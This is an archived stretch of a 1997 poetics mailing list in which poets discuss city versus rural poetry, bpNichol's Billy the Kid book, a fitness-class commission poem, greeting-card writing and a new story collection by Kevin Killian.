As I hoped to convey with the examples of Silliman & Coolidge, what I have in mind is something about the lived quality of a contemporary form of experience, made up of a number of different "structures of feeling"; and how that can be explored thru different approaches to FORM.

On Thu, 23 Jan 1997, Pritchett,Pat @Silverplume wrote:

> *When we're talking about landscape & poetry aren't we really talking about "the dialectics of inside/outside," as Bachelard put it? With the poem as the form of mediation between these two? Seems to me "landscape" is simply a figure of speech designating the way we perceive/appropriate experience.*
>
> *Is this what you were getting at, Mark Presjnar (sic)?*
>
> *Patrick Pritchett*
> ---
> *From: Mark Weiss*
> *To: POETICS*
> *Subject: Re: Apples, oranges & form -Reply*
> *Date: Thursday, January 23, 1997 5:11PM*
>
> *Let me suggest that those of us raised in cities sometimes write thoughtful, quiet, nostalgic poems about the old neighborhood. I even have one with my kid as recipient of lore. He grew up in the city, but it was a different neighborhood--and my old neighborhood was a different neighborhood, too. And sometimes us homeboys also write poems jumpy with discovery about rural places.*
>
> *It may be the condition of the poet's life as well as some inherent geist that informs the rhythm of the poems.*
>
> *At 04:14 PM 1/23/97 -0500, you wrote:*
> *mark p wrote:*
> *"The final word on what I MEANT to say (I know I wasn't clear enuff) might be to mention two very different poets who I think of as paradigmatic of the sort of "city poetry" I meant to identify myself with.*
> *I*

think they write out of a late 20th century feel of how consciousness etc"

one thing i have noticed over the years, in which i have lived mostly in new york city though having been reared in a very small town in the adirondacks, might have less to do with landscape than the way particular landscapes are peopled. For example, in a new book of poems i have coming from Coffee House Press, I found that it was structured as an opposition between a kind of text that was generated from a city experience and another that was generated by a revisiting (and remembering) a rural community; and the differences in the style and form and tone were quite distinct. The "city poems," if you will, have a nervous and discontinuous flux, with a kind of energy seeking some isometry, some stabilty, but constantly foiled; whereas the upstate, North Country poems have a more meditative, observant mood, in which the poems find certain connections, discover them at times, by accident.

This was a source of amazement to me as i put the book together. It was not premeditated, since I simply began by going through compositions of the last two years and found these jangly, impersonal, somewhat abstracted poems written here in New York City and these more pastoral ones and personal ones written while visiting my mother and old friends up in the mountains.

It is borne out, however, by my experiences with those places, and I think a small-town community carries within it kinds of relations that a city
environment does not. These kinds of relations between people, where everyone either knows everyone or knows someone who was related to someone tends to enforce (sometimes not successfully, sure) a civility that is not found so often in a city, where the folks one deals with
day to day live in a kind of anonymity from one another and from you. As an example, two, really: when my father passed away, in the town he grew up in, i took my mother around to the various places one has to go to in the aftermath of a death: the knights of columbus, where he had a life insurance policy; the motor vehicle bureau, to amend car deeds, the social security office, etc. Every person my mother, in her grief, had to deal with either knew her or my father or was a friend of mine, and pleasantries were inevitably exchanged and the otherwise difficult process of taking care of such details was made warm and human. I can only imagine how such a trek from place to place would go in new york city, with total strangers.

And secondly, once when i was visiting upstate, I read in the local paper how a teenage boy driving a truck was drunk and ran through a flashing red light at a rural intersection at about six in the morning,

speeding home after a night of drink, only to be blindsided by another truck, driven by his uncle. The boy died. It just shows you how even random accidents are likely to involve someone you know.

I think the consequences of these differences are very pronounced when it comes to narrative styles, or should be, but it certainly, for me, extends to poetry as well.

This is surely why I got away from the small town life and why I will probably return.

two samples, one from each side of the book, which is to be called 87 North, after the state highway that runs from NYC upstate, all the way to canada

Rhythming, what was it?
Monk's thing:
"Rhythm-a-ning," at the Five Spot.
1958. Roy Haynes on drums
Johnny Griffin on tenor sax
Ahmed Abdul-Malik
on bass, nineteen
and fifty-eight.

No hepcat shit. No more.
Baldwin called Brando
a beautiful cat, then, when.

Monk on piano.
That's that.

Adirondack Sounds

I put the words in his mouth?
this image of myself,
my son at three years old.
I say to him

Cadyville, Saranac, Schuyler Falls.
Dannemora, Redford, Beekmantown.
Chazy Lake, pronounced chez Zee.
And he says them back to me,

eyes big, his tongue clumsy and sweet,
saying the names of towns of my youth.

I?m far from them now,
these syllables holding mysteries
of places people came to,
of how things were then.

I knew my own, Saranac,
without curiosity.
It was like my name.
But Cadyville was where the girls lived,

Schuyler Falls a forest cleared for playing ball,
Dannemora a prison town with tall, tough Irish,
Chazy just a cold, cold lake.

The places are on a map
I never need to study,
just hamlets to drive through.
The people that built them,

the sites there, now gone,
yielded to spells of indifferent offspring,
to places fallen down.
Still, Beekmantown

in my boy?s mouth
is a clear parcel of fields
farmed for stone and apples,
Redford the soft fold of our church.

He repeats them to me
as I ask, happy at the drill,
expecting something for his effort.
I give him my confused joy.

I say to him ?paradise,?
and hear the pure word.

↑ Index

651. **Douglas Barbour**
Re: Urban Songs
Fri 24 Jan 1997

Tom Beard

That's an interesting take on the non-downtown in Auckland & whatever happens in Wellington (I'd expect long if loopy lines, since everyone there musthave huge breath capacity from climbing hills all the time). But you mention Leigh Davis as if he were still writing. Is this so? Has he done anything lately? I never saw that first book, only stuff in anthologies & a mag or two, but he was really doing something different there.

Nice twists & turns in your own.

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]

in the rooms you live in
other people's books line your shelves
bpNichol

↑ Index

652. GRAHAM W. FOUST
back to bp
Fri 24 Jan 1997

recently saw Michael Ondaatje do a reading here in DC. He talked a bit about bp Nichol and read a poem for him etc. While looking in the card catalog at the Library of Congress, I noticed that bp has a Billy the Kid book with a title very similar to Ondaatje's Billy the Kid book. I tried to fetch it, but someone has it checked out.

Can anyone fill me in on the deal here? Are they similar works?

bests,
Graham

↑ Index

653. David Bromige
Address for Evans & Moxley
Fri 24 Jan 1997

thAnks, everybody. I now have the e-ddress i wanted. db

↑ Index

654. **groberts**
urban environments
Fri 24 Jan 1997

The idea of "urban" poetry comes in part from the Humanist importation of classical and continental ideas about the city. In 1500 or so, London was just a large village as far as natives and foreigners were concerned. Sir Th More's Utopia introduces the concept of the metropolis in about 1518 (?) but the influence on poetry is not felt till Jonson and Donne. They are the most experimental and consequential of poets of their generation: they both were London-born-and-bred, and came from the lowest merchant classes. Part of what makes their city-poems interesting to me is the way in which they localize (not yet nationalize) generic approaches to the city-subjects, languages, environments: they imitate Martial and Juvenal and Catullus, so that they can talk about Fleet River and street-life in the official verse-forms of the satire and epigram. Jonson writes the first memorable poem in English on a sewer, his grotesque and hilarious poem "On the Famous Voyage" about two guys who on a lark row up a polluted waterway. At around 1600, city poetry was trying to appropriate indigenous folk discourses about the place London (especially ballads and verse narratives) and trump them with the authority of classical forms specifically dedicated to urban space. By 1700, London is clearly the metropolis that urbanites of the previous two centuries were trying to imagine, and in fact is well on its way to becoming the planet's largest city, an unprecedented development. City poetry becomes more and more constructed with the topographic techniques of "rural" genres such as the georgic: hence Swift's descriptions and more importantly John Gay's "Trivia: the Art of Walking the Streets of London." Although Raymond Williams ground-breaking book has much to say about urban poetry, he does not give enough attention to the importance of satire and epigram, and ultimately, privileges pastoralism and its ideologies in his account of how English poets built their poetic cities. As some posting have suggested, that strand of urban poetry uses an ocular-meditational rhetoric, but the earlier and perhaps more interesting (to me) strand begins with a bodily- kinetic-experiential rhetoric which of course is in play in the work of O'Hara, Olson, et al, but goes way back to Donne and Jonson. Hope this hasn't been too pedantic...

Gary R

↑ Index

655. **Joe Safdie**
Re: urban and landscapes
Fri 24 Jan 1997

Maria,

Yes, and if anyone wanted to start a back- (or front-) channel discussion group on the Baudelaire or some of Benjamin's other essays I'd love to participate, having been obsessed for some years now with his . . . knotted . . . brilliance as a way out of false dichotomies (including, certainly, those that circulate on this list).

For example, his short essay on mimesis would be valuable for whoever it was that asked about that a few days back (sorry, too lazy to check).

Joe Safdie

↑ Index

656. Rachel Blau DuPlessis
Re: address query
Fri 24 Jan 1997

---

hi stephen cope--my address is [redacted]. I think I am reading an older message than the one to which I responded yesterday. We were rewired and I did not turn off Poetics Listserv. With the predictable consequences. In the NewWorld here where it's bliss to be wise; 'tis folly to be ignorant I just mean the technology world. Rachel

↑ Index

657. k.a. hehir
commisions
Fri 24 Jan 1997

---

with all that talk of miller williams and the commissioning of someone to write/read a poem i thought i'd relay a strange request that came my way.my mum has been attending a fitness class three times a week for four or five years -Cathie's Fitness Class. I have no idea what they do but i know they have fun and have become quite a tight group. now, Cathie has got a job in the suit'n'tie world and today was her last class. My mum asked me to write a poem for Cathie as kind of a thanks. i have never met her or experienced any kind of aerobic(sp?) work-out. so i did my best to come up with something that would please a group of non-poetry types and not embarrass me ma. it was tough. took me a few hours. complete with rime. (you try pharmacist!)

any other similar anecdotes?

cheers,
kevin

P.S. anyone know how to get into the greeting card biz?

-mephistos,socks of darkness,jeans,children's festival t-shirt

↑ Index

658. shoemakers
you write what you eat
Fri 24 Jan 1997

It seems clear to me that the "apples & oranges" thread is struggling to resolve, by way of "landscape," the recent "fave foods" riffing with our on-going devotion to "poetics." I had myself been groping in vain toward such a rapprochement when I remembered Zukofsky's famous determination to "make a calzone out of economics" and all made sense...

steve

↑ Index

659. Charles Alexander
events, tucson
Fri 24 Jan 1997

Not too much to announce here on the poetics list, but

January 28, Tuesday, 8 pm, Dinnerware Gallery, Tucson
Talk by Bob Perelman
sponsored by Chax Press & POG

Chax will have a small pamphlet there of a poem by Perelman, The Masque of Rhyme, which combines desktop publishing with certain elements of fine book-making. Available for $4 plus two stamps (or cash equivalent) to anyone on Poetics List, or, for that matter, anyone at all. Please just send the payment and I'll try to get you a copy by return mail, after next Tuesday, when the author will have a chance to sign copies. Send payment to Chax Press at 101 W. Sixth St., no. 6, Tucson, Arizona 85701-1000. Call [redacted] for information or email me. This is the first event Chax Press is co-sponsoring since our move back to Tucson this fall, and it definitely feels good.

Next up for events co-sponsored by Chax & POG (POG is a recently-formed group of writers & others interested in poetry, poetics, and other artistic practices) will be a mid-April reading & talk by Karen Mac Cormack and Steve McCaffery. The dates & time are not set for that yet.

At that time Chax will also be releasing a new book by Karen Mac Cormack, titled The Tongue Moves Talk. Please inquire if you wish to order this book.

January 29, Wednesday, 8pm, University of Arizona, Modern Languages Auditorium

Reading by Bob Perelman
sponsored by the Poetry Center at the University of Arizona

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660. **Tenney Nathanson**
(no subject)
Sat 25 Jan 1997

George--

you wouldn't want to trade tapes, would you? I may not have too much that's interesting to offer, but if you're interested or willing we could poke around and probably find SOMETHING (I have only a dozen or so jazz CDs; a whole lot of albums that generally sound shitty, but there are exceptions; and a lot of tapes made from CDs that would probably copy pretty well [am Dolby C but not Dolby S capable]). anyway, I don't think I'm likely to encounter or pop for the Dutch import, unless it turns up via Jazz Heritage Society, but it sounds VERY nice.

best,

Tenney

> *Date: Tue, 24 Dec 1996 18:26:58 -0800*
> *From: George Bowering <[redacted]>*
> *Subject: Re: Sanders*
>
> *But right now I am listening to a CD stuck in my Mac, Pharoah Sanders playing heartbreaking standard ballads like Coltrane once did, an eerie imitation.*
>
> *but who knows where or when? what's the disc?*
>
> *This is "Welcome to Love", from Timeless, which is a Dutch company, recorded in France 1990, produced by some Japanese people. Stafford James on bass, Bill Henderson on piano, Ecclestone Wainwright on drums.*
>
> *Very smooth; a conscious imitation of Coltrane's album, "Ballads."*
>
> *(I've had my negative reactions to Pharoah Sanders, but still)*
> *(I've had my positive ones too!)*
>
> *I have had a few reservations abt Pharoah, but he was a gink I liked right off; there was a bad time when he was playing Krishna-meditation-coriander stuff and getting played on the rock stations around 1970. But I heard him at Slugs' around then and he was great. Earlier he was moonlighting in*

> *Jersey as a Latino music player and even as a rock pl;ayer, and I have some of that stuff, only for documentation.*
>
> *But he is one of the great young ones, with Archie Shepp, etc. of the sixties who got "raised" to a big label, mainly ABC.*
>
> *George Bowering.*
>
> *,*
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]
> *e-mail:* [redacted]
>
> *----------*

↑ Index

661. Marina deBellagente laPalma
from the rain belt
Sat 25 Jan 1997

I'd love you all to look at my website

http://www.well.com/user/lapalma

it has some poems & several poem-essays ("poesaggi"), including a piece called "the home page as literary form".

It's what I did in 1995 after my last "traditional" (paper) book, Persistence" seemed to be widely ignored.

my keyboard is dying as i type this. I may be offline for a few days.

marina

Marina deBellagente LaPalma
329 Pope Street
Menlo Park CA 94025
[redacted]

↑ Index

662. George Bowering
Re: Hernando Houseman
Sat 25 Jan 1997

> *The poem that includes the lines*
>
> *Oh I have been to Ludlow Fair*
> *And left my necktie God knows where*
>
> *is "Terence, This is Stupid Stuff" from _A Shropshire Lad_*
>
> *Brigham Taylor*

I know. It goes, in part:

Oh, Terrence, this is stupid stuff
It's time we laid off all that guff
And carry halfway home or near
Pints and quarts of Ludlow beer
My little horse must think I'm queer
To stop without a farmhouse neer
My horse is lovely, dark and deep
But I have miles to go before I sleep
etc

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

663. George Bowering
Re: Snowy Woods
Sat 25 Jan 1997

Well, yeah, so now we know where Robert Frost was born. But what about the good stuff? Where was George Stanley born?

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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664. George Bowering
Re: Perth Amboy
Sat 25 Jan 1997

I remember when all us kids were forbidden by our parents to read _The Amboy Dukes_, and so we read it to shreds. It didnt seem very suburban to me!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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665. Miekal And
listserv addiction
Sat 25 Jan 1997

Sure is easy to realize how addicted I am to this list already, when I had to go 36 hours without david b's witticisms, george b's color commentary & all the serious chunks between. I was beginning to think you folks kicked me off for sumptin I said.

miekal who agrees that the excessive quoting is unnecessary for anyone whose actually paying attention to what is being said.

& if any of you are interested in the hypermedia apprenticeship at dreamtime get ahold of me in the sooner, because replies are starting to come in & we probably can only take on 2 or 3...
--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

↑ Index

666. **Miekal And**
Re: "Little Men"
Sat 25 Jan 1997

[redacted] wrote:
>
> Hi everyone, it's Kevin Killian. I hope you'll all buy a copy of my new
> book, "Little Men" (Hard Press). It's terrific. It costs $12.95 (US).

Didnt I see this story line on X-Files?

just had to ask

Miekal who is trying his best to adhere to the dictum as soon as he decides which

↑ Index

667. **Mark Weiss**
Re: Perth Amboy
Sat 25 Jan 1997

Industrial suburb, working-class, gritty. Apollinaire's "zone." The kind we forget exist when we think better-homes-and-gardens martha-stewart.

At 01:08 AM 1/25/97 -0800, you wrote:
>I remember when all us kids were forbidden by our parents to read _The
>Amboy Dukes_, and so we read it to shreds. It didnt seem very suburban to
>me!
>
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>e-mail: [redacted]
>
>

↑ Index

668. **Charles Alexander**
Re: back to bp
Sat 25 Jan 1997

At 10:40 AM 1/24/97 -0500, you wrote:
>recently saw Michael Ondaatje do a reading here in DC. He talked a bit
>about bp Nichol and read a poem for him etc. While looking in the card
>catalog at the Library of Congress, I noticed that bp has a Billy the
>Kid book with a title very similar to Ondaatje's Billy the Kid book. I
>tried to fetch it, but someone has it checked out.
>
>Can anyone fill me in on the deal here? Are they similar works?

No, not one bit similar. bp's is a short series of prose bursts about Billy. Very irrevent, very poetic. Check it out. It's in another book of his selected prose works, but I don't have my books with me now to give me the reference. Anyone else?

charles

↑ Index

669. **groberts**
billy the kid
Sat 25 Jan 1997

There is Jack Spicer's Billy the Kid, an intricate performance full of adroit misdirection and missing erections:

Billy the Kid in a field of poplars with just one touch of moonlight
His shadow is carefully
distinguished from all their shadows
Delicate
as perception is
No one will get his gun or obliterate
Their shadows
*

Gary R

↑ Index

670. **Alan Jen Sondheim**
Calling Babylonians
Sat 25 Jan 1997

---

oo

Calling Babylonians

(Cassite, 1750-1173 bce)

Hey, Na-zi Marduk!
Yo, Sul-pa-ud-du-nasir!
Hi-in-na-an-nu-um, ay!!!
Ha-ba-ia! Ha-ba-ia!
O O Abdi-Hi-ba!
Bel-a-na-ka-la-udammiq, nu!!!
Ah I-la-nu-u-tum! Ah I-la-nu-u-tum!
Oya In-dar-di-ia!!!!
Eeeee Ellil-mu-sal-lim, eeeee!
Ho Papsukal-ah-iddina! Ho Ho!!!
Oooo Put-ahi! Putahi!!
Heh Tu-na-mi-is-Sa-ah, yo!
O Zi-lim-mi-ga, ah!!
Rab-zi-id-qi! Rab-zi-id-qi!
Aaahh Ma-ni-e!
O O O Lu-ri-an-nu! O Lu-ri-an-nu!
Hmmmm.... Kur-sa!!
Oooo Il-lu-ki-ni-usur!
Hey Habaki!
Eeeya Dajan-Nergal!
Ho Ra-bat-Gula! Ho eeya!
Ah, Quisat-Sukal, ah...!!
Ha, Iri-ba-Istar! Ha, Iri-ba-Istar!
Hey, A-gab, hey!
O O O O O In-na-an-nu...! O O!
Ay, Tak-la-ku-a-na-Sar-pa-ni-tum!
Ay...

↑ Index

671. **Charles Alexander**
Re: Calling Babylonians
Sat 25 Jan 1997

---

thank you, alan jen sondheim, for "calling babylonians"

↑ Index

672. **maria damon**
Re: commisions
Sat 25 Jan 1997

---

we cd write cathie a range.

In message <[redacted]> UB Poetics
discussion group writes:
> with all that talk of miller williams and the commissioning of someone to
> write/read a poem i thought i'd relay a strange request that came my
> way.my mum has been attending a fitness class three times a week for four
> or five years -Cathie's Fitness Class. I have no idea what they do but
> i know they have fun and have become quite a tight group. now, Cathie has
> got a job in the suit'n'tie world and today was her last class. My mum
> asked me to write a poem for Cathie as kind of a thanks. i have never met
> her or experienced any kind of aerobic(sp?) work-out. so i did my best to
> come up with something that would please a group of non-poetry types and
> not embarrass me ma. it was tough. took me a few hours. complete with
> rime. (you try pharmacist!)
>
> any other similar anecdotes?
>
> cheers,
> kevin
>
> P.S. anyone know how to get into the greeting card biz?
>
> -mephistos,socks of darkness,jeans,children's festival t-shirt
>

↑ Index

673. **dbkk**
Re: commisions
Sat 25 Jan 1997

At 2:32 PM -0500 1/24/97, k.a. hehir wrote:
>with all that talk of miller williams and the commissioning of someone to
>write/read a poem i thought i'd relay a strange request that came my
>way.my mum has been attending a fitness class three times a week for four
>or five years -Cathie's Fitness Class. I have no idea what they do but
>i know they have fun and have become quite a tight group. now, Cathie has
>got a job in the suit'n'tie world and today was her last class. My mum
>asked me to write a poem for Cathie as kind of a thanks. i have never met

>her or experienced any kind of aerobic(sp?) work-out. so i did my best to
>come up with something that would please a group of non-poetry types and
>not embarrass me ma. it was tough. took me a few hours. complete with
>rime. (you try pharmacist!)

So, where's the poem? I'm sure everyone's just dying to read it.

Dodie

Oh Cathie's body brilliant and bright,
It's so good to work out with you tonight.

↑ Index

674. **dbkk**
"Little Men"
Sat 25 Jan 1997

Hi everyone, it's Kevin Killian. I hope you'll all buy a copy of my new book, "Little Men" (Hard Press). It's terrific. It costs $12.95 (US).

Carla Harryman wrote, "Like cut diamonds reflecting back their own breaking points these tales speak the impossible as if the impossible itself could be bought and sold as jewelry. The palpability of Kevin Killian's storytelling is perfect even if, as we bask in the paradoxical charisma of it, the good guys have gone and stolen the jewelry for no reason...All this pleasure of affront may be due to Killian's finessing of moiddle brow culture unbto one of those secret toxic dumps, leaving us with a brilliant and frightening phenomenonology of what's left."

I find this comment very wise and true.

Here's another wise one, from Robert Gluck:

"Kevin Killian writes like a bent angel who wants to inflict pleasure and delectation. His confections dissolve into sensation on the tongue. Pleasure and safety are opposites, and these jumpy stories turn on the moment when our hero sees the broader perspective--of someone who wants to damage him. Like Nabokov, Killian 'does' our culture in great writing, with delicious style, generous and wicked. His sheer conversance with all departments of our civilization, and with the shapes a sentence and a story can take, amount to a kind of performance art of its own."

Well, what do you know! Anyhow as you have guessed, "Little Men" is a book of stories. Here's what they're about:

Kevin Killian, the author of "Shy" and "Bedrooms Have Windows," is injected with sodium pentathol and forced to reveal his most intimate secrets to a skeptical audience. In Los Angeles, the ghost of Natalie Wood appears to a dying

fan. An Irish transvestite hires a bellhop for a marriage of convenience. In San Francisco a drunken father (Kevin Killian) takes his Gen X son (Josh Cherin) to the premiere of "Jurassic Park." On Long Island a group of Franciscan brothers stage a beauty contest for incoming freshmen--the judgment of Paris. In Steinbeck country an autograph dealer forges mementos of Audrey Hepburn while seducing a muscle-bound ex-con in orange undershorts. On Halloween the boys from Hitchcock's "Rope" throw their own party in the haunted house of Usher. To steal the love of his sister's scientist husband, a San Francisco weakling turns to steroids. In 60's Manchester, David Smith falls under the spell of a strange married couple, who read him Sade, and make him murder the one boy who really loves him . . .

I have more to say about this too, but let's wait til after you've read the book. Thanks everyone!

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675. **Tosh**
Re: "Little Men"
Sat 25 Jan 1997

This book sounds like the 'book of the year.' Where can one purchase a copy?

Tosh Berman
TamTam Books

↑ Index

676. **David Bromige**
hallmark cards
Sat 25 Jan 1997

"anyone know how to get into the greeting cards business?" Yes. I had a poetry-writing student who did this. The idea came to him in class one evening.There was a silence after he had read aloud his new poem, and then one of the other students sd,"You know, so-&-so, you should write for Hallmark." He sd, "Do you think I could?" A month or so later, he came up to me: "Congratulate me, I've got a job writing for Hallmark!" Apparently, at his classmate's suggestion, he had contacted them, sent them samples of his work, and had been engaged on some kind of freelance cottage-industry basis. sorry i cant tell you what the pay was. But the gap between poetry and greeting-cards writing is not necessarily unbridgeable, and we can all take heart from this example. db

↑ Index

677. **David Bromige**
Kevin Killian's bezazzful writing
Sat 25 Jan 1997

I cant wait to get my hands on _Little Men_ . KK knows that fiction can host the wildest imaginings. The precis of this book's seductive juxtapositionings makes me yearn to be turning its pages right now. db

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678. **Dan Raphael Dlugonski**
city in poetry
Sun 26 Jan 1997

i grew up a mile from downtown pittsburgh, a mile from the university & museum district, so i know urban: itis myorganic energy . even when writing about wilderness or old growth i feel the urban charge of my raising. and living these last 17 years on what used to be the edge of portland, long an urban-rural edge ghetto (one of the highest percentage of corrections systems veterans in portland) the setting provides me occasional poems directly but always that urban awareness--encroaching ppopulation, mix of d/m-iscommunication. i think a develpment in current poetry is more of a mix of l=a=n=guage poetry energies with the urban, to some extent a circle around to the energies of new york school which, in my own woapred way, i see as a tangential progenitor (ticularly ashberry) of l=a=n=guage poetry

dan

(having talked about clothes, and books, and movies, how about what we just ate. i just had a warm slice of a bread (cross between egg bread and coffeecake that my mother has made for decades, though this batch baked by my 14 year old son). the trivialities soetimes engaged in in this line, the attitude strutting at times. i'd be among the last to opt for strict 'poetics discussion, but gee if you have nothing to day then just listen to others...

↑ Index

679. **David Bromige**
oh, alright (clothing)
Sun 26 Jan 1997

DISTANCE, an E-Mail Rhapsody

((looking for poetry? delete instantly!))

12:59, 1:05, and 1:13; three more pit & prune-juice communiques from our man in vancouver to console us for being condemned to peer into the post-midnight

dark. Already with thee, GB! If only! Put that tome upon the table. . . bring that bottle over here. . .

The allusion to _Tender Is the Night_ leads to Gatsby, and I wonder if listmembers often surmise from what manner of place GB emits? For I can tell them, a mansion like that of Jay G--a dwelling where room opens into room upon room in opulent geometries of being. A grand piano graces the drawingroom, but the master of the house is more likely to be found at one of his two state-of-the-art computers, unless in the den fretting over some sporting event on the 26 inch screen. His pair of massive dogs--which GB calls 'Great Dames'--loll in the hallway, an area big enough to park a Mack Truck, dotted with statuary and suits of medieval armor. Up the grand staircase to the many sleeping quarters, one relishes the paintings by Canadian masters of the brush. Finally, the second storey is gained. One of these rooms contains three chests of drawer, or chest of drawers, or maybe chests of drawers, each one stuffed with unworn Hawaiian shirts, the kind with wooden buttons. Insert another coin and the tour will continue, beginning with that portion of the upstairs, a suite of rooms, set aside for my exclusive use when in Vancouver, with everything untouched--just the way I left it on my mad dash to the airport, except for the stonewashed (stonedwash?) jeans, now flapping around the limbs of the owner of the Manse,--and the Old Haberdashers' necktie, a tie as long as its name, to match his torso. And next to it, the Down Under Suite, where . . . but first please insert your coin.

mike matthews a.k.a. Fee McPhrenzie, who is usually at work solving the problems of the world, but after 1 a.m. devotes 15 minutes to the Memory of Nonsense.

↑ Index

680. George Bowering

Re: back to bp

Sun 26 Jan 1997

> *I noticed that bp has a Billy the*
> *Kid book with a title very similar to Ondaatje's Billy the Kid book. I*
> *tried to fetch it, but someone has it checked out.*
>
> *Can anyone fill me in on the deal here? Are they similar works?*
>
> *bests,*
> *Graham*

They are not really similar, but those 2 poets were the same age and great friends, and shared the Governor-General's award in poetry, for, I think, 1970. beep's book was included with a couple others of his because they were so

short. His title was "The True Eventual Story of Billy the Kid" if I recall rightly. You will probably hear from Doug Barbour on this with greater accuracy.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

681. George Bowering
Re: city in poetry
Sun 26 Jan 1997

Seems to me that one great poem that agonizes a lot about the shift from pastoral America to the city is Crane's "The Bridge." It's the poem that when I was 18 made me scurry back there and read Whitman, then scurry up here and read "Paterson".

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

682. George Bowering
Re: oh, alright (clothing)
Sun 26 Jan 1997

> *Lets talk about the sonnet. db.*

Yeah, Bromige. I remember the night you were wearing a sonnet at the marianne Moore reading. You wit! Everyone wondered why but I didnt wonder why. She, by the way, was wearing two wristwatches. I asked her why; she said one for NYC time, one for Calif. time. Ingenious!

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

683. **Miekal And**
Re: Calling Babylonians
Sun 26 Jan 1997

---

alan: great to see you unlurk mode, can you point all of us post-babylonians to yr website(s)??

miekal who many years ago found alan's first record (I believe it was called "th other tune"?) at a rummage sale for 25 cents & it didnt even have scratches, a classic precursor in the "difficult" listening genre.
--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

↑ Index

684. **Rachel Loden**
Re: Hallmark cards
Sun 26 Jan 1997

David Bromige wrote (in part):

> *But the gap between poetry*
> *and greeting-cards writing is not necessarily unbridgeable, and we can > all take heart from this example.*

Yes we can, so why not a line of po-mo greeting cards? Poetry for the masses, royalties for poets. Here's a template (Niedecker for Xmas):

The mad stimulus of Gay Gaunt Day
meet to put holly on a tree

[graphic]

and trim green bells
and trim green bells

[open card]

This great eventual heyday
to plenty the hour thereof,
fidelius.

[graphic]

Heyday! Hey-day! Hey-day!

Merry Christmas!

[end]

I suppose that's more than enough for now,

Rachel Loden

↑ Index

685. **maria damon**
Re: "Little Men"
Sun 26 Jan 1997

In message <v01540b01af1000179c9d@[207.211.62.159]> UB Poetics discussion group
writes:
> This book sounds like the 'book of the year.' Where can one purchase a copy?
>
> Tosh Berman
> TamTam Books

amen!--md
>

↑ Index

686. **Douglas Barbour**
Re: back to bp
Sun 26 Jan 1997

---

bp's little pamphlet, which was one of four that won him the Governor general's Award back in 1980, is titled _The True Eventual Story of Billy the Kid_. Its most recent appearance is in _An H in the Heart: bpNichol A Reader_ edited by our own George Bowering & Michael Ondaatje (Toronto: McClelland & Stewart, 1994); it also appeared in _CraftSlices_. As Charles Alexander says, it is veryd-ifferent, a kind of Steinian low-life take on the pop-mythology,

It has been compared to Ondaatje's book, in Stephen Scobie's "Two Authors in Search of a Character" (_Canadian Literature_, 54 [Autumn 1972]; _Poets and

Critics_ ed. George Woodcock [Toronto: Oxford UP 1974]; _Spider Blues_, ed. Sam Solecki [Montreal: Véhicule Press 1985]).

==========
==========

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]

in the rooms you live in
other people's books line your shelves

bpNichol

↑ Index

687. David Bromige
Hallmark
Sun 26 Jan 1997

Good notion, rachel, go do it! line up permissions, bu card-stock, find a printer, do yr own design, have em in the post-yuppie/new age stores in places like Berkeley and Sebastopol and Los Gatos in time for xmas 97.

i noticed you posted at 5 a.m. I just heard a CW song on KPFA ("Back Forty: The Hicks from Coast to Coast") the chorus of which runs "I have to wake up every morning/ Just to say goodnight to you." Were you abt to try going to sleep, or had you already gotten up? (I suppose i'm on the brink of suggesting we now all disclose our sleep habits. But I'll stop right there.)

↑ Index

688. k.a. hehir
Commissions
Sun 26 Jan 1997

- you asked for it, so here it is

Of Sweets, Sweat and a Smile

We've dragged old bones from cozy beds
to be in the gym by nine.
An oddball crew of sleepy heads
for you to keep in line.

You make us sweat and groan and fight
for inches off our hips.
From every cake and sweet delight
that's left sugar on our lips.

We know we'll never have buns of steel
or tummys flat as glass.
But thanks to you, we enjoy each meal
then lose calories in your class.

May you meet, in this new job
a charming pharmacist.
A fitness buff, who's name is Bob
with a smile you can't resist.

So Cathie, it has been the best
while working out with you.
We have confidence in your success
in every thing you'll do!

kevin Angelo Hehir

↑ Index

689. **Alan Jen Sondheim**
Re: Calling Babylonians
Sun 26 Jan 1997

I've actually been unlurk (so to speak) for years here, just rare posts. There are a couple URLS, other stuff -

http://jefferson.village.virginia.edu/~spoons/internet_txt.html
images: http://www.cs.unca.edu/~davidson/pix/
Tel. [redacted] CuSeeMe: 166.84.250.149

love Alan, wry and tosted

On Sun, 26 Jan 1997, Miekal And wrote:

> *alan: great to see you unlurk mode, can you point all of us post-babylonians to yr website(s)??*
>
> *miekal who many years ago found alan's first record (I believe it was called "th other tune"?) at a rummage sale for 25 cents & it didnt even have scratches, a classic precursor in the "difficult" listening genre.*
> *--*
> *@#*
> *Dreamtime Village website: http://net22.com/dreamtime*
> *QAZINGULAZA: And/Was/Wakest website: http://net22.com/qazingulaza*
> *e-mail for DT & And/Was:* [redacted]

↑ Index

690. **Aldon L. Nielsen**
Re: Hallmark
Sun 26 Jan 1997

It's a hallmark of some sort of cosmic convergence, I suppose, that I too was tuned to America's Back Forty listening to the same songs as David -- But I never did find out "Who the hell is Alice" --

